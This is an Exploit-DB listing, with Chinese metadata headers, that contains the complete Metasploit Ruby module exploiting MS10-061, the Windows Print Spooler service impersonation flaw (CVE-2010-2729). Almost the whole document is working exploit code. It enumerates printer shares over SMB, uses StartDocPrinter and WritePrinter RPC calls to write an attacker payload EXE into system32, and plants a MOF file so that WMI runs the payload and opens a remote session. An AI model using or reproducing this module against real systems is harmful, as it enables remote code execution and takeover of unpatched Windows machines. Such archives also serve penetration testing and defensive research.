标题: Microsoft Windows - Print Spooler Service Impersonation (MS10-061) (Metasploit) EDB-ID: 16361 CVE: 2010-2729 类型: REMOTE 平台: WINDOWS 发布日期: 2011-02-17 漏洞利用脚本: ##
# $Id: ms10_061_spoolss.rb 11766 2011-02-17 19:22:11Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/windows_error'
require 'msf/core/exploit/wbemexec'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Print Spooler Service Impersonation Vulnerability',
   'Description'    => %q{
     This module exploits the RPC service impersonation vulnerability detailed in
    Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
    StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
    to create a file. The working directory at the time is %SystemRoot%\\system32.
    An attacker can specify any file name, including directory traversal or full paths.
    By sending WritePrinter requests, an attacker can fully control the content of
    the created file.

    In order to gain code execution, this module writes an EXE and then (ab)uses the
    impersonation vulnerability a second time to create a secondary RPC connection
    to the \\PIPE\\ATSVC named pipe. We then proceed to create a remote AT job using
    a blind NetrJobAdd RPC call.
   },
   'Author'         =>
    [
     'jduck',  # re-discovery, printer RPC stubs, module
     'hdm'     # ATSVC RPC proxy method, etc ;)
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11766 $',
   'Platform'       => 'win',
   'References'     =>
    [
     [ 'OSVDB', '67988' ],
     [ 'CVE', '2010-2729' ],
     [ 'MSB', 'MS10-061' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "",
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     [ 'Windows Universal', { } ]
    ],
   'DisclosureDate' => 'Sep 14 2010',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('SMBPIPE', [ false,  "The named pipe for the spooler service", "spoolss"]),
    OptString.new('PNAME',   [ false,  "The printer share name to use on the target" ]),
   ], self.class)
 end


 def exploit

  connect()
  login_time = Time.now
  smb_login()

  print_status("Trying target #{target.name}...")

  handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)

  print_status("Bound to #{handle} ...")

  # Try all of the printers :)
  printers = []
  if (pname = datastore['PNAME'])
   printers << pname
  else
   res = self.simple.client.trans(
    "\\PIPE\\LANMAN",
    (
     [0x00].pack('v') +
     "WrLeh\x00"   +
     "B13BWz\x00"  +
     [0x01, 65406].pack("vv")
    )
   )

   printers = []

   lerror, lconv, lentries, lcount = res['Payload'].to_s[
    res['Payload'].v['ParamOffset'],
    res['Payload'].v['ParamCount']
   ].unpack("v4")

   data = res['Payload'].to_s[
    res['Payload'].v['DataOffset'],
    res['Payload'].v['DataCount']
   ]

   0.upto(lentries - 1) do |i|
    sname,tmp = data[(i * 20) +  0, 14].split("\x00")
    stype     = data[(i * 20) + 14, 2].unpack('v')[0]
    scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
    if ( lconv != 0)
     scoff -= lconv
    end
    scomm,tmp = data[scoff, data.length - scoff].split("\x00")

    # we only want printers
    next if stype != 1

    printers << sname
   end
  end

  # Generate a payload EXE to execute
  exe = generate_payload_exe

  printers.each { |pr|

   pname = "\\\\#{rhost}\\#{pr}"

   print_status("Attempting to exploit MS10-061 via #{pname} ...")

   # Open the printer
   status,ph = open_printer_ex(pname)
   if status != 0
    raise RuntimeError, "Unable to open printer: #{Msf::WindowsError.description(status)}"
   end
   print_status("Printer handle: %s" % ph.unpack('H*'))


   # NOTE: fname can be anything nice to write to (cwd is system32), even
   # directory traversal and full paths are OK.
   fname = rand_text_alphanumeric(14) + ".exe"
   write_file_contents(ph, fname, exe)

   # Generate a MOF file and write it so that the Windows Management Service will
   # execute our binary ;)
   mofname = rand_text_alphanumeric(14) + ".mof"
   mof = generate_mof(mofname, fname)
   write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)

   # ClosePrinter
   status,ph = close_printer(ph)
   if status != 0
    raise RuntimeError, "Failed to close printer: #{Msf::WindowsError.description(status)}"
   end

   break if session_created?
  }

  #print_status("Everything should be set, waiting up to two minutes for a session...")
  print_status("Everything should be set, waiting for a session...")
  handler
  disconnect

 rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
  raise RuntimeError, $!.message
 end


 #
 # Use the vuln to write a file :)
 #
 def write_file_contents(ph, fname, data)

  doc = rand_text_alphanumeric(16+rand(16))

  # StartDocPrinter
  status,jobid = start_doc_printer(ph, doc, fname)
  if status != 0 or jobid < 0
   raise RuntimeError, "Unable to start print job: #{Msf::WindowsError.description(status)}"
  end
  print_status("Job started: 0x%x" % jobid)

  # WritePrinter
  status,wrote = write_printer(ph, data)
  if status != 0 or wrote != data.length
   raise RuntimeError, ('Failed to write %d bytes!' % data.length)
  end
  print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])

  # EndDocPrinter
  status = end_doc_printer(ph)
  if status != 0
   raise RuntimeError, "Failed to end print job: #{Msf::WindowsError.description(status)}"
  end
 end


 #
 # Call RpcOpenPrinterEx
 #
 def open_printer_ex(pname, machine = nil, user = nil)
=begin
  DWORD RpcOpenPrinterEx(
   [in, string, unique] STRING_HANDLE pPrinterName,
   [out] PRINTER_HANDLE* pHandle,
   [in, string, unique] wchar_t* pDatatype,
   [in] DEVMODE_CONTAINER* pDevModeContainer,
   [in] DWORD AccessRequired,
   [in] SPLCLIENT_CONTAINER* pClientInfo
  );
=end

  # NOTE: For more information about this encoding, see the following
  # sections of the Open Group's C706 DCE 1.1: RPC
  #
  # 14.3.8 Unions
  # 14.3.10 Pointers
  # 14.3.12.3 Algorithm for Deferral of Referents
  #
  machine ||= ''
  machine = NDR.uwstring(machine)
  user ||= ''
  user = NDR.uwstring(user)

  splclient_info =
   NDR.long(0) +          # DWORD dwSize;
   machine[0,4] +         # [string] wchar_t* pMachineName;
   user[0,4] +            # [string] wchar_t* pUserName;
   NDR.long(7600) +       # DWORD dwBuildNum
   NDR.long(3) +          # DWORD dwMajorVersion;
   NDR.long(0) +          # DWORD dwMinorVersion;
   NDR.long(9)            # unsigned short wProcessorArchitecture;

  # Add the deferred members
  splclient_info << machine[4, machine.length]
  splclient_info << user[4, user.length]

  splclient_info[0,4] = NDR.long(splclient_info.length)

  splclient_info =
   # union!
   NDR.long(1) +        # discriminant (inside copy)
   NDR.long(rand(0xffffffff)) +
   splclient_info

  stubdata =
   NDR.uwstring(pname) +  # pPrinterName
   NDR.long(0) +
   # DEVMODE_CONTAINER (null)
   NDR.long(0) +
   NDR.long(0) +
   # AccessRequired
   NDR.long(0x02020000) +
   # SPLCLIENT_CONTAINER
   NDR.long(1) + # Level (must be 1)
   # SPLCLIENT_INFO_1
   splclient_info

  #print_status('Sending OpenPrinterEx request...')
  response = dcerpc.call(69, stubdata)
  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))

   handle = dcerpc.last_response.stub_data[0,20]
   status = dcerpc.last_response.stub_data[20,4].unpack('V').first

   return [status, handle]
  end

  nil
 end


 #
 # Call RpcStartDocPrinter
 #
 def start_doc_printer(handle, dname, fname, dtype = nil)
=begin
  typedef struct _DOC_INFO_CONTAINER {
   DWORD Level;
   [switch_is(Level)] union {
    [case(1)]
    DOC_INFO_1* pDocInfo1;
   } DocInfo;
  } DOC_INFO_CONTAINER;
  DWORD RpcStartDocPrinter(
   [in] PRINTER_HANDLE hPrinter,
   [in] DOC_INFO_CONTAINER* pDocInfoContainer,
   [out] DWORD* pJobId
  );
=end
  dname = NDR.uwstring(dname)
  if fname
   fname = NDR.uwstring(fname)
  else
   fname = NDR.long(0)
  end
  if dtype
   dtype = NDR.uwstring(dtype)
  else
   dtype = NDR.long(0)
  end

  doc_info =
   dname[0, 4] +
   fname[0, 4] +
   dtype[0, 4]

  # Add the deferred members
  doc_info << dname[4, dname.length]
  doc_info << fname[4, fname.length]
  doc_info << dtype[4, dtype.length]

  doc_info =
   # Union!
   NDR.long(1) +
   NDR.long(rand(0xffffffff)) +
   doc_info

  stubdata =
   handle +
   NDR.long(1) +
   doc_info

  #print_status('Sending StartDocPrinter request...')
  response = dcerpc.call(17, stubdata)
  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
   jobid, status = dcerpc.last_response.stub_data.unpack('VV')
   return [status, jobid]
  end

  nil
 end


 #
 # Call RpcWritePrinter
 #
 def write_printer(handle, data)
=begin
  DWORD RpcWritePrinter(
   [in] PRINTER_HANDLE hPrinter,
   [in, size_is(cbBuf)] BYTE* pBuf,
   [in] DWORD cbBuf,
   [out] DWORD* pcWritten
  );
=end
  stubdata =
   handle +
   NDR.long(data.length) +
   # Perhaps we need a better data type for BYTE* :)
   data +
   NDR.align(data) +
   NDR.long(data.length)

  #print_status('Sending WritePrinter request...')
  response = dcerpc.call(19, stubdata)
  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
   wrote,status = dcerpc.last_response.stub_data.unpack('VV')
   return [status, wrote]
  end

  nil
 end


 #
 # Call RpcEndDocPrinter
 #
 def end_doc_printer(handle)
=begin
  DWORD RpcEndDocPrinter(
   [in] PRINTER_HANDLE* phPrinter
  );
=end

  #print_status('Sending EndDocPrinter request...')
  response = dcerpc.call(23, handle)
  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
   status = dcerpc.last_response.stub_data[0,4].unpack('V').first
   return status
  end

  nil
 end


 #
 # Call RpcClosePrinter
 #
 def close_printer(handle)
=begin
  DWORD RpcClosePrinter(
   [in, out] PRINTER_HANDLE* phPrinter
  );
=end

  #print_status('Sending ClosePrinter request...')
  response = dcerpc.call(29, handle)
  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
   #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
   handle = dcerpc.last_response.stub_data[0,20]
   status = dcerpc.last_response.stub_data[20,4].unpack('V').first
   return [status,handle]
  end

  nil
 end


 def seconds_since_midnight(time)
  # .tv_sec always uses .utc
  (time.tv_sec % 86400)

  # This method uses the localtime
  #(time.hour * 3600) + (time.min * 60) + (time.sec)
 end

 # We have to wait a bit longer since the WMI service is a bit slow..
 def wfs_delay
  10
 end

end URL: https://www.exploit-db.com/exploits/16361